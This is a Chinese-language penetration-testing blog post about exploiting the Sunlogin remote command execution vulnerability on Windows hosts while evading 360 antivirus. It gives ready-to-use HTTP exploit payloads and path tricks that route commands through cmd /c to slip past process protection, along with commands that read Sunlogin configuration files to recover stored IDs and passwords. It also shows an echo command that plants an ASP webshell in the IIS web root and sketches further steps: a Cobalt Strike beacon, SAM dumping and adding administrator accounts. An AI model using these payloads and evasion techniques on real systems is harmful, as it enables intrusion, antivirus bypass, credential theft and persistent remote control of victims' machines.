0x01 前言
群友在某次项目测试中遇到一个存在向日葵远程命令执行漏洞的IP,目标环境Windows2016+360+Wdf,由于存在360而无法通过向日葵漏洞利用工具执行命令进行下一步测试。
当时复现这个漏洞时还真没想到过有防护问题,所以想对他这次遇到的场景进行一些分析和测试。
0x02 模拟场景
本地模拟了这个实战场景,向日葵10.5.0.29613,360安全卫士13.0.0.2003,测试用的Payload如下。
/cgi-bin/rpc?action=verify-haras /check?cmd=ping../../../windows/system32/whoami /check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami
0x03 问题复现
测试了Github上大部分的向日葵利用工具,在执行命令时都被360拦截了,因为它们都是基于Powershell那个Payload来写的,而360又对Powershell的进程链监控的非常严,所以被拦也正常。
我们在Burpsuite测试时发现,当执行的命令被360拦截时会出现:failed,error 5,当目标主机上没有对应程序时会出现:failed,error 2,也有可能会出现拒绝访问或不是内部命令的中文乱码。
同时在这个Payload也测试了以下常用命令,但均被拦截,执行dir、type命令拦的是Powershell,其他拦的都是对应系统程序,systeminfo倒是没被拦,但可以说这个Payload已经很难再绕过了。
whoami、sc、dir、type、query、netstat、tasklist、net user...
不过我们仍然可以用另一个Payload来执行一些常用命令,只要System32或SysWOW64目录下存在的系统程序大部分都可以执行,这样360是不会拦的,不过这种方式只能用做简单的信息搜集。
/check?cmd=ping../../../windows/system32/tasklist+/svc
但像dir、del、echo、copy、type这类文件操作命令就执行不了,因为System32下没有对应的程序,所以我们还是得通过cmd /c这种方式来执行,注意必须把cmd路径中的/正斜杠改为\反斜杠。
/check?cmd=ping../../../Windows\System32\cmd+/c+dir+c:\
0x04 解决方案
我们只需将向日葵利用工具源码中的命令执行方式改为cmd /c,这样就能完美解决在执行命令时被360拦截的问题。可通过向日葵允许的ping、nslookup执行命令,简化后的Payload如下。
/check?cmd=ping/..\cmd+/c+whoami /check?cmd=nslookup/..\cmd+/c+whoami
注:现在我们虽然已经可以执行常用命令了,但切记一定不要去执行以下这些高危命令,因为一旦执行后360就有可能会直接拦截cmd.exe,后边再去执行任何命令都会被360的进程防护拦截。
powershell、net user、wscript/cscript...
用于绕过360执行命令的向日葵漏洞利用工具和源码可通过关注“潇湘信安”公众号回复“0616”来获取。
0x05 绕过思路
(1) 直接执行木马上线CS
只能执行常用命令而不能上线怎么行?所以我还是测试了一个利用白名单绕过360进程防护上线的方式,这里只是给大家提供个思路,其他白名单还请自行测试。
注:CS/MSF自带的hta里还有一层Powershell,执行会拦Powershell.exe,利用工具卡死,强制结束后就不能再执行任何命令了,这啥原理我也不知道,只是发现里边已经运行了一个ms.exe。
(2) 读取向日葵配置文件
低版本向日葵可直接执行以下命令读取默认安装路径中的config.ini配置文件即可获取ID和Pass,然后再用解密脚本得到明文后直接去连接就好了,那如果是高版本向日葵或自定义安装呢?
type C:\Progra~1\Oray\SunLogin\SunloginClient\config.ini findstr . C:\Progra~1\Oray\SunLogin\SunloginClient\config.ini
因为较高版本的向日葵将ID和Pass写进注册表里了,所以在配置文件中是找不到的,可通过执行以下命令读取对应注册表项获取ID和Pass,直接执行reg query命令会被360拦哦。
如果目标主机的向日葵为自定义路径安装,那么我们该如何得到他的安装路径去读取config配置文件呢?可以使用sc qc命令查询向日葵服务得到安装路径,或者读取向日葵服务对应的注册表项。
注:12.5.0.43486版本后的ID和Pass既没有保存在配置文件,也没有写进注册表,而且最近向日葵官方公众号在6月1日还出公告说要强制升级了,在连接朋友时也有看到提示,估计以后都没得玩咯。
(3) 网站路径写Webshell
如果目标主机有Web,我们可以用dir命令逐级查找Web目录,或直接根据网站上存在的脚本、图片、JS等文件来查找,也可以读取iis配置文件等,找到后写入Webshell,然后再进行提权,以下命令360都没拦。
dir /a/b/s C:\iisstart.png %windir%\system32\inetsrv\appcmd list VDIR echo ^<%eval request("1")%^> >C:\inetpub\wwwroot\shell.asp
注:我们还是得注意下写入文件内容的"双引号与利用工具执行命令的"双引号闭合问题,如果按常规方式写入的话"双引号可能会被吃掉,经过测试发现,这里得用3个双引号才能正常写入,工具BUG问题吧。
echo ^<%eval request("""1""")%^> >C:\inetpub\wwwroot\shell.asp
(4) 其他的一些利用思路
除了以上几种利用方式,还有很多方法可以用,如:导出SAM注册表,本地解密得到明文,分段写入添加用户的Vbs脚本等,我就不挨个去测试了, 只要是你知道的方法都可以去试下,说不定就行呢!!!
读取向日葵配置文件的方法最为稳妥,因为360和Wdf都不会对其进行拦截,可以省去很多麻烦事。
0x06 文末总结
首先我们是解决了向日葵利用工具执行命令被360拦截的问题,后边其实大部分测试的都是在向日葵远程命令执行漏洞下如何去绕过360进程防护执行木马、脚本、读注册表、导出SAM、添加管理员等,其实都是些重复的东西。
听群里朋友说奇安信的天擎会直接以Cookie中的CID作为特征来进行拦截,也不知道真假?